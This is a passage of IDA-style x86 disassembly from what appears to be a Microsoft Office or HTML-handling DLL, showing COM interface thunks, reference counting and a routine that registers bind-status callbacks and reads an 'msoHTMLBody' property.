		mov	eax, [eax+0Ch]
		push	[esp+arg_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+0Ch]
		retn	8
sub_69B7F924	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B7F938	proc near		; DATA XREF: .text:69B2A764o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	eax, [eax+0Ch]
		push	[esp+arg_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+10h]
		retn	8
sub_69B7F938	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B7F94C	proc near		; DATA XREF: .text:69B2A768o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	[esp+arg_C]
		mov	eax, [esp+4+arg_0]
		push	[esp+4+arg_8]
		mov	eax, [eax+0Ch]
		push	[esp+8+arg_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+14h]
		retn	10h
sub_69B7F94C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B7F968	proc near		; DATA XREF: .text:69B2A76Co

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_10]
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_C]
		mov	eax, [eax+0Ch]
		push	[ebp+arg_8]
		mov	ecx, [eax]
		push	[ebp+arg_4]
		push	eax
		call	dword ptr [ecx+18h]
		pop	ebp
		retn	14h
sub_69B7F968	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B7F987	proc near		; DATA XREF: .text:69B2A770o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_20]
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_1C]
		mov	eax, [eax+0Ch]
		push	[ebp+arg_18]
		mov	ecx, [eax]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	dword ptr [ecx+1Ch]
		pop	ebp
		retn	24h
sub_69B7F987	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B7F9B2	proc near		; DATA XREF: .text:69B2A774o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_1C]
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_18]
		mov	eax, [eax+0Ch]
		push	[ebp+arg_14]
		mov	ecx, [eax]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	dword ptr [ecx+20h]
		pop	ebp
		retn	20h
sub_69B7F9B2	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B7F9DA	proc near		; DATA XREF: .text:69B2A778o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	[esp+arg_C]
		mov	eax, [esp+4+arg_0]
		push	[esp+4+arg_8]
		mov	eax, [eax+0Ch]
		push	[esp+8+arg_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+24h]
		retn	10h
sub_69B7F9DA	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B7F9F6	proc near		; DATA XREF: .text:69B2A77Co

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	[esp+arg_C]
		mov	eax, [esp+4+arg_0]
		push	[esp+4+arg_8]
		mov	eax, [eax+0Ch]
		push	[esp+8+arg_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+28h]
		retn	10h
sub_69B7F9F6	endp

; ---------------------------------------------------------------------------


loc_69B7FA12:				; DATA XREF: .text:off_69B2A754o
		sub	dword ptr [esp+4], 4
		jmp	sub_69B7F7EE
; ---------------------------------------------------------------------------


loc_69B7FA1C:				; DATA XREF: .text:69B2A758o
		sub	dword ptr [esp+4], 4
		jmp	sub_69B7F85D

; =============== S U B	R O U T	I N E =======================================



sub_69B7FA26	proc near		; CODE XREF: sub_69B800F1+5j
					; DATA XREF: .text:69B2A788o

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		lea	eax, [esi+8]
		push	eax		; lpAddend
		call	ds:InterlockedDecrement	; InterlockedDecrement
		mov	edi, eax
		test	edi, edi
		jnz	short loc_69B7FA4D
		test	esi, esi
		jz	short loc_69B7FA4D
		mov	ecx, esi
		call	sub_69B7FA54
		push	esi
		call	sub_69B1B2B7


loc_69B7FA4D:				; CODE XREF: sub_69B7FA26+14j
					; sub_69B7FA26+18j
		mov	eax, edi
		pop	edi
		pop	esi
		retn	4
sub_69B7FA26	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B7FA54	proc near		; CODE XREF: sub_69B7FA26+1Cp
		push	esi
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_69B2A780
		mov	dword ptr [esi+4], offset off_69B2A754
		call	sub_69B7E177
		mov	esi, [esi+0Ch]
		test	esi, esi
		jz	short loc_69B7FA77
		push	esi		; BSTR
		call	SysFreeString


loc_69B7FA77:				; CODE XREF: sub_69B7FA54+1Aj
		pop	esi
		retn
sub_69B7FA54	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B7FA79	proc near		; CODE XREF: sub_69B80057+22p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	edi
		xor	edi, edi
		cmp	[esp+8+arg_0], edi
		lea	eax, [esi+18h]
		mov	dword ptr [esi], offset	off_69B14620
		mov	dword ptr [esi+4], offset off_69B2A740
		mov	dword ptr [esi+8], offset off_69B2A720
		mov	dword ptr [esi+0Ch], offset off_69B2A6C0
		mov	dword ptr [esi+10h], offset off_69B2A6B0
		mov	dword ptr [esi+14h], offset off_69B2A6A4
		mov	dword ptr [eax], offset	off_69B2A698
		mov	dword ptr [esi+1Ch], 1
		mov	[esi+20h], edi
		mov	[esi+24h], edi
		mov	[esi+28h], edi
		mov	[esi+2Ch], edi
		mov	[esi+34h], edi
		mov	[esi+3Ch], edi
		mov	[esi+40h], edi
		jz	short loc_69B7FAD7
		mov	eax, [esp+8+arg_0]


loc_69B7FAD7:				; CODE XREF: sub_69B7FA79+58j
		push	offset dword_69B9B684 ;	lpAddend
		mov	[esi+38h], eax
		call	ds:InterlockedIncrement	; InterlockedIncrement
		mov	[esi+30h], edi
		call	sub_69B1E031
		pop	edi
		mov	eax, esi
		pop	esi
		retn	4
sub_69B7FA79	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B7FAF4	proc near		; DATA XREF: .text:69B14644o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_69B7EB86
		test	[esp+4+arg_0], 1
		jz	short loc_69B7FB09
		push	esi
		call	sub_69B1B2B7


loc_69B7FB09:				; CODE XREF: sub_69B7FAF4+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_69B7FAF4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_69B7FB0F(int, int, LPBC pBC, int, int, int)

sub_69B7FB0F	proc near		; CODE XREF: sub_69B800FB+D2p
					; sub_69B800FB+199p

pvarg		= VARIANTARG ptr -38h
lpString	= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ppBSCBPrev	= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
pBSCb		= dword	ptr -4
arg_4		= dword	ptr  0Ch
pBC		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		mov	edi, ecx
		mov	eax, [edi+28h]
		cmp	eax, esi
		mov	[ebp+var_C], esi
		mov	[ebp+var_14], esi
		mov	[ebp+var_8], esi
		mov	[ebp+ppBSCBPrev], esi
		mov	[ebp+var_1C], esi
		mov	[ebp+pBSCb], esi
		mov	[ebp+var_10], esi
		mov	[ebp+var_20], esi
		mov	[ebp+var_24], esi
		mov	[ebp+lpString],	esi
		jz	short loc_69B7FB47
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B7FB47:				; CODE XREF: sub_69B7FB0F+30j
		cmp	[edi+3Ch], esi
		mov	[edi+28h], esi
		jz	short loc_69B7FB8D
		lea	eax, [ebp+pvarg]
		push	eax		; pvarg
		call	VariantInit
		mov	eax, [edi+3Ch]
		mov	ecx, [eax]
		push	esi
		lea	edx, [ebp+pvarg]
		push	edx
		push	offset aMsohtmlbody ; "msoHTMLBody"
		push	eax
		call	dword ptr [ecx+0Ch]
		test	eax, eax
		jnz	short loc_69B7FB83
		cmp	word ptr [ebp+pvarg.anonymous_0], 8
		jnz	short loc_69B7FB83
		mov	eax, dword ptr [ebp+pvarg.anonymous_0+8]
		mov	[ebp+lpString],	eax
		mov	word ptr [ebp+pvarg.anonymous_0], si
		jmp	short loc_69B7FB8D
; ---------------------------------------------------------------------------


loc_69B7FB83:				; CODE XREF: sub_69B7FB0F+5Fj
					; sub_69B7FB0F+66j
		lea	eax, [ebp+pvarg]
		push	eax		; pvarg
		call	VariantClear


loc_69B7FB8D:				; CODE XREF: sub_69B7FB0F+3Ej
					; sub_69B7FB0F+72j
		cmp	[edi+30h], esi
		jnz	short loc_69B7FBB2
		push	esi		; lpName
		push	1		; bInitialState
		push	1		; bManualReset
		push	esi		; lpEventAttributes
		call	ds:CreateEventA	; CreateEventA
		cmp	eax, esi
		mov	[edi+30h], eax
		jnz	short loc_69B7FBB2
		call	ds:GetLastError
		mov	ebx, eax
		jmp	loc_69B7FF50
; ---------------------------------------------------------------------------


loc_69B7FBB2:				; CODE XREF: sub_69B7FB0F+81j
					; sub_69B7FB0F+94j
		push	1Ch
		call	sub_69B11E44
		cmp	eax, esi
		jz	short loc_69B7FBC9
		mov	ecx, eax
		call	sub_69B81864
		mov	[ebp+pBSCb], eax
		jmp	short loc_69B7FBCC
; ---------------------------------------------------------------------------


loc_69B7FBC9:				; CODE XREF: sub_69B7FB0F+ACj
		mov	[ebp+pBSCb], esi


loc_69B7FBCC:				; CODE XREF: sub_69B7FB0F+B8j
		cmp	[ebp+pBSCb], esi
		jz	loc_69B7FC5C
		push	esi		; dwReserved
		lea	eax, [ebp+ppBSCBPrev]
		push	eax		; ppBSCBPrev
		push	[ebp+pBSCb]	; pBSCb
		push	[ebp+pBC]	; pBC
		call	RegisterBindStatusCallback
		mov	ebx, eax
		cmp	ebx, esi
		jl	loc_69B7FD8F
		push	[ebp+ppBSCBPrev]
		mov	ecx, [ebp+pBSCb]
		call	sub_69B81121
		mov	eax, [ebp+ppBSCBPrev]
		cmp	eax, esi
		jz	short loc_69B7FC07
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B7FC07:				; CODE XREF: sub_69B7FB0F+F0j
		mov	ecx, edi
		mov	[ebp+ppBSCBPrev], esi
		call	sub_69B7E6D3
		push	20h
		call	sub_69B11E44
		cmp	eax, esi
		jz	short loc_69B7FC25
		mov	ecx, eax
		call	sub_69B81908
		jmp	short loc_69B7FC27
; ---------------------------------------------------------------------------


loc_69B7FC25:				; CODE XREF: sub_69B7FB0F+10Bj
		xor	eax, eax


loc_69B7FC27:				; CODE XREF: sub_69B7FB0F+114j
		cmp	eax, esi
		mov	[edi+34h], eax
		jz	short loc_69B7FC5C
		mov	ecx, [ebp+arg_14]
		push	eax
		push	[ebp+pBSCb]
		call	sub_69B7E084
		push	28h
		call	sub_69B11E44
		cmp	eax, esi
		jz	short loc_69B7FC54
		push	dword ptr [edi+34h]
		mov	ecx, eax
		call	sub_69B818AE
		mov	[ebp+var_10], eax
		jmp	short loc_69B7FC57
; ---------------------------------------------------------------------------


loc_69B7FC54:				; CODE XREF: sub_69B7FB0F+134j
		mov	[ebp+var_10], esi


loc_69B7FC57:				; CODE XREF: sub_69B7FB0F+143j
		cmp	[ebp+var_10], esi
		jnz	short loc_69B7FC66


loc_69B7FC5C:				; CODE XREF: sub_69B7FB0F+C0j
					; sub_69B7FB0F+11Dj
		mov	ebx, 8007000Eh
		jmp	loc_69B7FD8F
; ---------------------------------------------------------------------------


loc_69B7FC66:				; CODE XREF: sub_69B7FB0F+14Bj
		push	esi		; dwReserved
		lea	eax, [ebp+var_1C]
		push	eax		; ppBSCBPrev
		push	[ebp+var_10]	; pBSCb
		push	[ebp+arg_C]	; pBC
		call	RegisterBindStatusCallback
		mov	ebx, eax
		cmp	ebx, esi
		jl	loc_69B7FD8F
		push	[ebp+pBSCb]
		mov	ecx, [ebp+var_10]
		call	sub_69B81121
		mov	eax, [ebp+var_1C]
		cmp	eax, esi
		jz	short loc_69B7FC98
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B7FC98:				; CODE XREF: sub_69B7FB0F+181j
		push	dword ptr [edi+20h]
		mov	[ebp+var_1C], esi
		call	sub_69B849B3
		lea	esi, [edi+24h]
		mov	[ebp+var_24], eax
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_69B7FCDA
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+100h]
		mov	ebx, eax
		test	ebx, ebx
		jl	loc_69B7FD8D
		push	0
		push	dword ptr [esi]
		call	sub_69B7E0B2
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_69B7FCD7
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B7FCD7:				; CODE XREF: sub_69B7FB0F+1C0j
		and	dword ptr [esi], 0


loc_69B7FCDA:				; CODE XREF: sub_69B7FB0F+19Ej
		push	esi		; ppv
		push	offset stru_69B25E34 ; riid
		push	1		; dwClsContext
		push	0		; pUnkOuter
		push	offset stru_69B12148 ; rclsid
		call	ds:CoCreateInstance
		mov	ebx, eax
		test	ebx, ebx
		jl	loc_69B7FD8D
		push	dword ptr [esi]
		call	sub_69B7E0EC
		push	18h
		call	sub_69B11E44
		test	eax, eax
		jz	short loc_69B7FD17
		mov	ecx, eax
		call	sub_69B7F7CC
		mov	[ebp+pBC], eax
		jmp	short loc_69B7FD1B
; ---------------------------------------------------------------------------


loc_69B7FD17:				; CODE XREF: sub_69B7FB0F+1FAj
		and	[ebp+pBC], 0


loc_69B7FD1B:				; CODE XREF: sub_69B7FB0F+206j
		mov	ecx, [ebp+pBC]
		test	ecx, ecx
		jz	loc_69B7FEC9
		push	dword ptr [edi+20h]
		call	sub_69B7EA61
		mov	ebx, eax
		test	ebx, ebx
		jl	short loc_69B7FD8D
		mov	ebx, [ebp+pBC]
		push	ebx
		push	dword ptr [esi]
		call	sub_69B7E0B2
		mov	[edi+28h], ebx
		mov	ebx, [ebp+lpString]
		test	ebx, ebx
		jz	loc_69B7FE2F
		cmp	word ptr [ebx],	0
		jz	loc_69B7FE2F
		mov	esi, [ebp+arg_14]
		mov	edi, [esi]
		lea	eax, [ebp+arg_C]
		push	eax
		push	ebx		; lpString
		call	ds:lstrlenW	; lstrlenW
		shl	eax, 1
		push	eax
		push	ebx
		push	esi
		call	dword ptr [edi+10h]
		mov	ebx, eax
		test	ebx, ebx
		jl	short loc_69B7FD8D
		mov	eax, esi
		mov	ecx, [eax]
		push	0
		push	eax
		mov	byte ptr [eax+1Dh], 1
		call	dword ptr [ecx+20h]
		mov	ebx, eax
		test	ebx, ebx
		jge	loc_69B7FF4E


loc_69B7FD8D:				; CODE XREF: sub_69B7FB0F+1ADj
					; sub_69B7FB0F+1E4j ...
		xor	esi, esi


loc_69B7FD8F:				; CODE XREF: sub_69B7FB0F+DAj
					; sub_69B7FB0F+152j ...
		mov	eax, [ebp+arg_14]
		mov	ecx, [eax]
		push	esi
		push	eax
		call	dword ptr [ecx+20h]


loc_69B7FD99:				; CODE XREF: sub_69B7FB0F+443j
					; sub_69B7FB0F+46Aj
		mov	eax, [ebp+var_8]
		cmp	eax, esi
		jz	short loc_69B7FDA6
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B7FDA6:				; CODE XREF: sub_69B7FB0F+28Fj
		mov	eax, [ebp+var_14]
		cmp	eax, esi
		jz	short loc_69B7FDB3
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B7FDB3:				; CODE XREF: sub_69B7FB0F+29Cj
		mov	eax, [ebp+var_C]
		cmp	eax, esi
		mov	[ebp+var_14], esi
		jz	short loc_69B7FDC3
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B7FDC3:				; CODE XREF: sub_69B7FB0F+2ACj
		mov	eax, [ebp+var_1C]
		cmp	eax, esi
		mov	[ebp+var_C], esi
		jz	short loc_69B7FDD3
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B7FDD3:				; CODE XREF: sub_69B7FB0F+2BCj
		mov	eax, [ebp+ppBSCBPrev]
		cmp	eax, esi
		mov	[ebp+var_1C], esi
		jz	short loc_69B7FDE3
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B7FDE3:				; CODE XREF: sub_69B7FB0F+2CCj
		mov	eax, [ebp+var_20]
		cmp	eax, esi
		mov	[ebp+ppBSCBPrev], esi
		jz	short loc_69B7FDF3
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B7FDF3:				; CODE XREF: sub_69B7FB0F+2DCj
		mov	eax, [ebp+pBSCb]
		cmp	eax, esi
		mov	[ebp+var_20], esi
		jz	short loc_69B7FE03
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B7FE03:				; CODE XREF: sub_69B7FB0F+2ECj
		mov	eax, [ebp+var_10]
		cmp	eax, esi
		jz	short loc_69B7FE10
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B7FE10:				; CODE XREF: sub_69B7FB0F+2F9j
		mov	eax, [ebp+var_24]
		cmp	eax, esi
		jz	short loc_69B7FE1D
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B7FE1D:				; CODE XREF: sub_69B7FB0F+306j
		push	[ebp+lpString]	; BSTR
		call	SysFreeString
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebx
		leave
		retn	18h
; ---------------------------------------------------------------------------


loc_69B7FE2F:				; CODE XREF: sub_69B7FB0F+238j
					; sub_69B7FB0F+242j
		mov	eax, [esi]
		mov	ecx, [eax]
		push	0
		push	eax
		call	dword ptr [ecx+110h]
		mov	ebx, eax
		test	ebx, ebx
		jl	loc_69B7FD8D
		mov	eax, [esi]
		mov	ecx, [eax]
		push	0FFFFFFFFh
		push	eax
		call	dword ptr [ecx+118h]
		mov	ebx, eax
		test	ebx, ebx
		jl	loc_69B7FD8D
		mov	eax, [esi]
		mov	ecx, [eax]
		lea	edx, [ebp+var_C]
		push	edx
		push	offset stru_69B25E84
		push	eax
		call	dword ptr [ecx]
		mov	ebx, eax
		test	ebx, ebx
		jl	loc_69B7FD8D
		mov	eax, [ebp+var_C]
		mov	ecx, [eax]
		lea	edx, [ebp+var_14]
		push	edx
		push	eax
		call	dword ptr [ecx+10h]
		mov	ebx, eax
		test	ebx, ebx
		jl	loc_69B7FD8D
		push	0E4h
		call	sub_69B11E44
		test	eax, eax
		jz	short loc_69B7FEBF
		push	[ebp+var_24]
		mov	ecx, eax
		push	dword ptr [edi+3Ch]
		push	dword ptr [edi+30h]
		push	[ebp+var_10]
		push	[ebp+arg_4]
		push	dword ptr [esi]
		push	[ebp+var_14]
		push	[ebp+arg_14]
		call	sub_69B82CB4
		mov	[ebp+var_8], eax
		jmp	short loc_69B7FEC3
; ---------------------------------------------------------------------------


loc_69B7FEBF:				; CODE XREF: sub_69B7FB0F+38Bj
		and	[ebp+var_8], 0


loc_69B7FEC3:				; CODE XREF: sub_69B7FB0F+3AEj
		cmp	[ebp+var_8], 0
		jnz	short loc_69B7FED3


loc_69B7FEC9:				; CODE XREF: sub_69B7FB0F+211j
		mov	ebx, 8007000Eh
		jmp	loc_69B7FD8D
; ---------------------------------------------------------------------------


loc_69B7FED3:				; CODE XREF: sub_69B7FB0F+3B8j
		mov	eax, [ebp+var_C]
		push	[ebp+var_8]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+0Ch]
		mov	ebx, eax
		test	ebx, ebx
		jl	short loc_69B7FF5A
		mov	eax, [ebp+var_14]
		test	eax, eax
		jz	short loc_69B7FEF2
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B7FEF2:				; CODE XREF: sub_69B7FB0F+3DBj
		mov	eax, [ebp+arg_14]
		mov	ecx, [eax+28h]
		and	[ebp+var_14], 0
		test	ecx, ecx
		jz	short loc_69B7FF09
		push	[ebp+var_8]
		push	edi
		call	sub_69B81633


loc_69B7FF09:				; CODE XREF: sub_69B7FB0F+3EFj
		mov	esi, [esi]
		mov	eax, [esi]
		lea	ecx, [ebp+var_20]
		push	ecx
		push	offset dword_69B2AFA0
		push	esi
		call	dword ptr [eax]
		mov	ebx, eax
		test	ebx, ebx
		jl	short loc_69B7FF5A
		push	[ebp+arg_10]
		mov	eax, [ebp+var_20]
		push	[ebp+arg_C]
		mov	ecx, [eax]
		push	[ebp+arg_4]
		push	0
		push	eax
		call	dword ptr [ecx+14h]
		mov	ebx, eax
		test	ebx, ebx
		jl	short loc_69B7FF5A
		mov	eax, [ebp+var_C]
		mov	esi, [eax]
		push	eax
		call	dword ptr [esi+30h]
		or	eax, 1000h
		push	eax
		push	[ebp+var_C]
		call	dword ptr [esi+70h]


loc_69B7FF4E:				; CODE XREF: sub_69B7FB0F+278j
		xor	esi, esi


loc_69B7FF50:				; CODE XREF: sub_69B7FB0F+9Ej
		cmp	ebx, esi
		jge	loc_69B7FD99
		jmp	short loc_69B7FF5C
; ---------------------------------------------------------------------------


loc_69B7FF5A:				; CODE XREF: sub_69B7FB0F+3D4j
					; sub_69B7FB0F+40Ej ...
		xor	esi, esi


loc_69B7FF5C:				; CODE XREF: sub_69B7FB0F+449j
		mov	ecx, [ebp+var_8]
		cmp	ecx, esi
		jz	loc_69B7FD8F
		cmp	byte ptr [ecx+80h], 0
		jnz	short loc_69B7FF77
		push	esi
		push	ebx
		call	sub_69B837DF


loc_69B7FF77:				; CODE XREF: sub_69B7FB0F+45Fj
		xor	ebx, ebx
		jmp	loc_69B7FD99
sub_69B7FB0F	endp

; ---------------------------------------------------------------------------
		align 10h
aMsohtmlbody:				; DATA XREF: sub_69B7FB0F+54o
		unicode	0, <msoHTMLBody>,0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B7FF98	proc near		; CODE XREF: sub_69B803AC+43p

String1		= word ptr -210h
var_A		= word ptr -0Ah
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		mov	eax, dword_69B92170
		xor	eax, [ebp+4]
		push	esi
		mov	[ebp+var_4], eax
		xor	eax, eax
		cmp	[ebp+arg_0], 3
		mov	esi, ecx
		jnz	short loc_69B7FFC1
		mov	eax, 80004001h
		jmp	loc_69B80047
; ---------------------------------------------------------------------------


loc_69B7FFC1:				; CODE XREF: sub_69B7FF98+1Dj
		mov	ecx, [ebp+arg_4]
		test	ecx, ecx
		jz	short loc_69B7FFD1
		cmp	word ptr [ecx],	8
		jnz	short loc_69B7FFD1
		mov	eax, [ecx+8]


loc_69B7FFD1:				; CODE XREF: sub_69B7FF98+2Ej
					; sub_69B7FF98+34j
		cmp	[ebp+arg_0], 2
		jnz	short loc_69B7FFE2
		test	eax, eax
		jnz	short loc_69B80035
		mov	eax, 80070057h
		jmp	short loc_69B80047
; ---------------------------------------------------------------------------


loc_69B7FFE2:				; CODE XREF: sub_69B7FF98+3Dj
		and	[ebp+String1], 0
		test	eax, eax
		jz	short loc_69B8000A
		push	104h
		push	eax
		lea	eax, [ebp+String1]
		push	eax
		call	sub_69B84CA0
		add	esp, 0Ch
		and	[ebp+var_A], 0
		jmp	short loc_69B80018
; ---------------------------------------------------------------------------


loc_69B8000A:				; CODE XREF: sub_69B7FF98+54j
		lea	eax, [ebp+String1]
		push	eax
		mov	ecx, esi
		call	sub_69B7E79D


loc_69B80018:				; CODE XREF: sub_69B7FF98+70j
		push	105h		; cchWideChar
		lea	eax, [ebp+String1]
		push	eax		; lpString1
		mov	ecx, esi
		call	sub_69B7F4D3
		test	eax, eax
		jnz	short loc_69B8003D
		lea	eax, [ebp+String1]


loc_69B80035:				; CODE XREF: sub_69B7FF98+41j
		push	eax		; OLECHAR *
		mov	ecx, esi
		call	sub_69B7E843


loc_69B8003D:				; CODE XREF: sub_69B7FF98+95j
		cmp	eax, 1
		jnz	short loc_69B80047
		mov	eax, 80040103h


loc_69B80047:				; CODE XREF: sub_69B7FF98+24j
					; sub_69B7FF98+48j ...
		mov	ecx, [ebp+var_4]
		xor	ecx, [ebp+4]
		pop	esi
		call	sub_69B1B9F6
		leave
		retn	8
sub_69B7FF98	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B80057	proc near		; DATA XREF: .text:69B1C738o
					; .text:69B1C748o ...

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	edi
		push	0
		lea	ecx, [ebp+var_C]
		call	sub_69B11D3B
		push	44h
		call	sub_69B11E44
		test	eax, eax
		jz	short loc_69B80082
		push	[ebp+arg_0]
		mov	ecx, eax
		call	sub_69B7FA79
		mov	ebx, eax
		jmp	short loc_69B80084
; ---------------------------------------------------------------------------


loc_69B80082:				; CODE XREF: sub_69B80057+1Bj
		xor	ebx, ebx


loc_69B80084:				; CODE XREF: sub_69B80057+29j
		test	ebx, ebx
		jnz	short loc_69B8008F
		mov	edi, 8007000Eh
		jmp	short loc_69B800E1
; ---------------------------------------------------------------------------


loc_69B8008F:				; CODE XREF: sub_69B80057+2Fj
		mov	ecx, ebx
		call	sub_69B7E669
		mov	edi, eax
		test	edi, edi
		jz	short loc_69B800A7
		mov	eax, [ebx]
		push	1
		mov	ecx, ebx
		call	dword ptr [eax+24h]
		jmp	short loc_69B800E1
; ---------------------------------------------------------------------------


loc_69B800A7:				; CODE XREF: sub_69B80057+43j
		cmp	[ebp+arg_0], 0
		push	esi
		jz	short loc_69B800C6
		mov	esi, [ebp+arg_4]
		push	4
		pop	ecx
		mov	edi, offset stru_69B1CA6C
		xor	eax, eax
		repe cmpsd
		jz	short loc_69B800C6
		mov	edi, 80004005h
		jmp	short loc_69B800E0
; ---------------------------------------------------------------------------


loc_69B800C6:				; CODE XREF: sub_69B80057+55j
					; sub_69B80057+66j
		push	[ebp+arg_8]
		lea	esi, [ebx+18h]
		push	[ebp+arg_4]
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax]
		mov	edi, eax
		test	edi, edi
		jnz	short loc_69B800E0
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+8]


loc_69B800E0:				; CODE XREF: sub_69B80057+6Dj
					; sub_69B80057+81j
		pop	esi


loc_69B800E1:				; CODE XREF: sub_69B80057+36j
					; sub_69B80057+4Ej
		lea	ecx, [ebp+var_C]
		call	sub_69B1976C
		mov	eax, edi
		pop	edi
		pop	ebx
		leave
		retn	0Ch
sub_69B80057	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B800F1	proc near		; DATA XREF: .text:69B2A75Co

arg_0		= dword	ptr  4

		sub	[esp+arg_0], 4
		jmp	sub_69B7FA26
sub_69B800F1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_69B800FB(int, int, int, LPBC pBC, int)

sub_69B800FB	proc near		; DATA XREF: .text:69B14634o

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
ppbc		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
pBC		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		xor	ebx, ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	eax, [esi+28h]
		cmp	eax, ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_14], ebx
		mov	[ebp+ppbc], ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_10], ebx
		jz	short loc_69B80124
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B80124:				; CODE XREF: sub_69B800FB+21j
		push	edi
		lea	edi, [esi+3Ch]
		mov	eax, [edi]
		cmp	eax, ebx
		mov	[esi+28h], ebx
		jz	short loc_69B80137
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B80137:				; CODE XREF: sub_69B800FB+34j
